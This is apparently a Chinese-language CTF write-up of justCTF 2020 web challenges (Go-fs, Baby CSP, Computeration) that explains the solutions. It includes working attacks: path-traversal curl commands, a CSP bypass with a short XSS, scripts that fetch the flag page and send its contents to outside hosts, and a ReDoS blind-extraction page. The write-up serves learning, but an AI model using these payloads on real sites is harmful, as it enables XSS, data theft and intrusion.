0%

justCTF2020

justCTF2020

一个都不会啊,纯挨打
等wping

Forgotten name

要猜一个6a开头的子域名,第一反应是子域名查询或者同ip查询。我找的国内的同ip域名查询网站计划不通(随便选了个web题的域名的ip查),老国王找了个子域名查询网站一键打穿
然后把域名十六进制解码一下得到flag。。。

Go-fs

GO语言写的文件服务,因为源码下下来一看发现不是很长,所以就直接进行了一个Go的零基础学习。也没学到什么然后硬看代码,看了两个小时大概理清什么情况
首先自己写了一个文件系统,又实现了一个文件类,看Dockerfile可以看到启动时以tmp文件夹为根目录建立文件系统,文件系统维护一个结构体切片存每个文件的信息,还有一个字节切片存所有文件,每个文件都就直接append上去,然后会对应的存文件的offset和len;文件类就重写了该重写的方法,利用文件系统的信息从字节切片里面按照offset和len读出文件。也写了根目录下有文件夹的操作,但实际上好像并没什么用,并且这个创建过程用户也不可干预,等于说用户交互之前这个文件系统就已经建立完成了。
用HandleFunc函数建立路由,根目录的话会用fileServ.ServeHTTP(w, r)这个函数根据请求返回数据,查了下源码实现(没有看的很深,可能问题就在这?),最后是通过r.URL.Path去fileServ文件系统中的文件,用户可控交互就在这了。
尝试发现Path会被自动URL解码,如果输入跳目录之类的操作会尝试对路径进行解析之后进行重定向
flag就在tmp下,但是有另一个HandleFunc的路由就是flag,导致请求的path为flag时直接返回一个不给

比赛结束看wp

上面提到访问路径如果带目录的话就会被尝试解析然后重定向,这个是go语言自己的检查,所以无论如何都会重定向回/flag,而flag这个路由被一个handler给拦住了

非预期

go文档里有这么一句

The path and host are used unchanged for CONNECT requests.

说实话我都没怎么听说过CONNECT这个请求类型(是不是之前学http隧道代理的时候见过。。。)
用curl指定请求类型为CONNECT之后再相对路径一把梭就通了
curl -X CONNECT --path-as-is http://gofs.web.jctf.pro/folder/../flag
–path-as-is这个选项就是不解析掉一个点或者两个点这种相对路径的意思(burp之类的也能硬发带相对路径的请求,这个应该只是让curl本身别去解析相对路径)

预期

说实话我觉得非预期好容易理解哦。。。
预期应该就和之前的文件系统操作有关?
curl -H 'Range: bytes=--1' http://gofs.web.jctf.pro/IMG_1052.jpg
这里的Range: bytes=–1会被解析为bytes为-1,最后会导致读取文件系统的位置发生错误,就之前那写的一大段的offset和length之类的不符合正常的情况,就隔着之前的文件读到了flag打通?

Baby CSP

这得来一个XSS大师。。。
可控点两个,一个hash算法一个用户名,指定了哈希算法就产生一个随机字符串用对应算法哈希十次作为nonce,不然就md5十次
用户名会直接输出到页面上,理论上可XSS,但长度限制23,且设置了CSP得nonce对
用啥算法nonce都得至少八位,且都是0-9a-f,不会出现特殊字符。且我也不能控制哈希的初始字符串,不知道这个CSP咋绕,应该是有神妙手段
怎么构造只有23个字符的XSS呢?
isAdmin验证过了之后还设置了几个响应头,一个X-Content-Type-Options: nosniff让浏览器把返回内容就按照Content-Type解析,是text/html就不能解析JS吗?一个X-Frame-Options: DENY阻止套iframe之类的
echo flag之后直接die,也就没有后面的哈希和xss环节了,所以这个请求头又能干嘛?一开始还以为是构造出一个xss让admin访问之后外带内容的,现在看来感觉是只能硬过admin判断自己去看flag了

源码

<?php
require_once("secrets.php");
$nonce = random_bytes(8);

if(isset($_GET['flag'])){
 if(isAdmin()){
    header('X-Content-Type-Options: nosniff');
    header('X-Frame-Options: DENY');
    header('Content-type: text/html; charset=UTF-8');
    echo $flag;
    die();
 }
 else{
     echo "You are not an admin!";
     die();
 }
}

for($i=0; $i<10; $i++){
    if(isset($_GET['alg'])){
        $_nonce = hash($_GET['alg'], $nonce);
        if($_nonce){
            $nonce = $_nonce;
            continue;
        }
    }
    $nonce = md5($nonce);
}

if(isset($_GET['user']) && strlen($_GET['user']) <= 23) {
    header("content-security-policy: default-src 'none'; style-src 'nonce-$nonce'; script-src 'nonce-$nonce'");
    echo <<<EOT
        <script nonce='$nonce'>
            setInterval(
                ()=>user.style.color=Math.random()<0.3?'red':'black'
            ,100);
        </script>
        <center><h1> Hello <span id='user'>{$_GET['user']}</span>!!</h1>
        <p>Click <a href="?flag">here</a> to get a flag!</p>
EOT;
}else{
    show_source(__FILE__);
}

// Found a bug? We want to hear from you! /bugbounty.php
// Check /Dockerfile

看WP

看dockerfile可以看到php.ini用的是development的,也就意味着报错会直接输出出来(不过不看dockerfile直接乱输也能试出来)

warning缓冲区溢出覆盖header

CSP是由header函数发送的,header有一个要求,即调用该函数前不能有任何的实际输出(比如echo,或者HTML标签之类的),否则header的函数调用会被忽略
但是看代码的话header之前是没有任何输出的,但是可以通过输一个不存在的算法触发warning,通过for循环是个warning塞爆缓冲区,使得其成为实际输出,就能阻止header函数的调用。
echo或者是HTML内容都是直接输出,所以会直接使header失效,且没有长度限制,而PHP的默认缓冲区大小为4096,所以得用总长度超出4096的warning把缓冲区塞满就会强制输出使得header无效
之后就是一个23长度的XSS了

23长度XSS

说实话也很极限,这里直接抄一个payload<svg/onload=eval(name)>,长度刚好是23,此处的name为window.name属性

Window.name

一开始看到上面这个操作感觉挺玄幻的,因为都已经location跳转了,怎么这个name还能继承过去并被eval?
一个tab(标签页)就是一个window,它可以打开各种网页,也可以在网页之间跳转,其打开的页面均对window.name拥有读写权限,window.name只要这个tab不关闭就能保持不变,即使是从一个页面跳转到了另一个页面,所以这里可以location跳转之后还能eval name这个之前定义的变量的内容

比如

    window.name = "这是a页面的内容"; 
    setTimeout(function(){
        window.location.href= b.html;
        console.log(window.name);
    },2000);

写一个payload

<script>
    name="fetch('?flag').then(async e=>{fetch(`https://www.z3ratu1.cn/jctf?${await e.text()}`)})";
    location = 'https://baby-csp.web.jctf.pro/?user=%3Csvg%20onload=eval(name)%3E&alg='+'a'.repeat('400');
</script>

打自己成功了,可以收到一个you are not admin!但是bot好像坏掉了?我只能收到提交的链接,就算payload里直接发一个请求也收不到

暂时就当自己打通了吧。。。。

update

过年摸鱼的下场,现在回来发现环境已经关掉了。出题人提到因为admin的cookie的samesite属性默认为lax

Cookies允许与顶级导航一起发送,并将与第三方网站发起的GET请求一起发送。

就是只能链接跳转之类的才会发送第三方cookie,所以想用iframe打的话得window.open新开一个tab,然后再读取tab的内容发送出来,我上面这个是直接location跳转到了babycsp这个网站,lax cookie会携带,然后再发出来
iframe版payload
let x = window.open('/?flag'); x.onload = () => {fetch('https://enavfajw8uem.x.pipedream.net/?f=' + x.document.documentElement.innerHTML)}

出题人多次提到bot会在网站加载结束之后立即关闭网页,不知道这个是不是之前没打通的原因,可能加载完了还没处理完脚本吗?看一个外国大哥的wp里放了一个NASA的巨型图片使得页面能长时间保持在加载状态
<img src="https://eoimages.gsfc.nasa.gov/images/imagerecords/73000/73751/world.topo.bathy.200407.3x21600x21600.B1.png" style="display:none" />

Computeration

睡一觉起来之后放的新题,是XSS,还是DOM XSS,是我完全不会的东西,开始临时学习
直接script居然X不了

开始学习并获得一些前置知识

DOM XSS

DOM XSS就是没有服务端参与,没有什么服务端接受输入再拼到页面上,而是直接是前端js拼接location.hash,URL参数之类的东西造成的XSS,也算一种反射型XSS吧

location.hash

就是URL中#号后面的部分(包括井号),若不存在则为空字符串,若只有井号也为空串,location.hash不会进行URL解码
不过#后面的数据不会发送给服务端,也就意味着能过waf

innerHTML

代码中添加note是通过修改innerHTML完成的,尝试直接scriptXSS失败,问了下师傅再百度一下,还真是innerHTML的原因

HTML 5 中指定不执行由 innerHTML 插入的 <script> 标签。然而,有很多不依赖 <script> 标签去执行 JavaScript 的方式。所以当你使用 innerHTML 去设置你无法控制的字符串时,这仍然是一个安全问题。

所以要这么XSSelement.innerHTML = "<img src=x onerror=\"alert('XSS Attack')\">";

localStorage

看名字就知道是本地存储,也就是存在我本地的东西。。。对应还有一个sessionStorage
sessionStorage 是针对session的数据存储,关闭窗口后删除。
localStorage 是一个本地的没有时间限制的数据存储。
本地存储的东西终究打不了远程

https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/dom-xss
讲到了常用的可控资源和常见的可以利用的”水坑”,攻击就是将source导入到sink中,还蛮有意思的

题解

最后还是znj师傅,lgw和AA牛逼,使用ReDOS把flag盲注出来了,还记得龚老师以前说过js单线程容易受到ReDOS攻击,消耗太多时间在正则匹配上导致的拒绝服务
只要构造出能够导致js正则反复匹配的payload,再使用正向肯定预查,在正向肯定查找内容不符合时直接得出不匹配的结论结束正则过程。如下payload自己触发能导致一个超长延时,虽然不会导致浏览器崩溃,但是如果字符对上了那个页面会卡个30s+才会去尝试下一个字符一开始HTML写的是普通版的但是提交提交到了fix版本的bot上,整了一天都不对。。我真是傻逼,后来改回来之后发现,字符会有缺失,并且还会是乱序,不过确实能收到对应的最后一个字符,反正每次取最大的字符就是对的了(bot在页面加载完成后就关闭页面了,不知道这个是不是发到一半就结束的原因)

坑点

有一个点,一开始直接用的for循环加直接更改iframe的src,结果是完全不成功,可能的原因是iframe还没加载完就给我变来变去的了,所以要使用onload,等他加载完了再去操作
开一个iframe然后反复修改iframe的src也能触发onhashchange

payload

<html>

<body>
<iframe id="test"></iframe>
<img id="report"></img>
<img src="http://ip:10010"></img>
<script>
    key='abcdefghijklmnopqrstuvwxyz_$';
    iframe=document.getElementById('test');
    n=0;
     f1=function(){
        iframe.src='https://computeration.web.jctf.pro/?'+n+'#';
        iframe.onload=f2;
    }
    f2=function(){
        iframe.src+='^(?=justCTF\\{'+key[n]+')((((.*)*)*)*)*233';
        //iframe.src+='^(?=justCTF\\{cross_origin_timing_lol\\})((.*)*)*233';
        //iframe.src+='^(?=justCTF\\{no_referer_typo_ehhhhhh\\})((((.*)*)*)*)*233';
        document.getElementById('report').src='http://ip/jctf?'+key[n];
        n+=1;
        if(n>=key.length)return;
        f1();
    }
    iframe.src='https://computeration.web.jctf.pro/?0#';
    iframe.onload=f2;
</script>

</body>
</html>

非预期

出题人在写Referrer-policy的时候打错了,写成了no-referer,事实上应该是no-referrer,这样子Referrer-Policy就变成了默认的no-referrer-when-downgrade,只有在https发送到http时不发送Referer字段
所以如果直接给bot一个https请求,并查看发来的Referer字段,就能直接看见flag。。。

HTTP/1.1 200 OK
Content-Length: 232
Content-Type: text/html; charset=utf-8
Date: Wed, 10 Feb 2021 04:21:49 GMT
Etag: W/"e8-FVyP6J4mzbAHkD6jTxmCNIW9HoY"
Referrer-Policy: no-referer
Server: Caddy
X-Powered-By: Express
Connection: close

<script>
    
    localStorage.setItem('notes',JSON.stringify([{
        title:'flag',
        content:'justCTF{cross_origin_timing_lol}'
    }]));
    
    location = (new URL(location.href)).searchParams.get('url');

    </script>

不过不是很想的通为什么bot要这么访问出来,我一开始直接初始化一个localStorage然后来一个链接让bot访问一个链接,不就没这个事了?

参考链接

ReDOS初探
一个由正则表达式引发的血案
TSG-CTF复现
Computeration的wp
justCTF2020出题人wp
PHP中ob缓存的应用
JS跨域–window.name
justCTF2020wp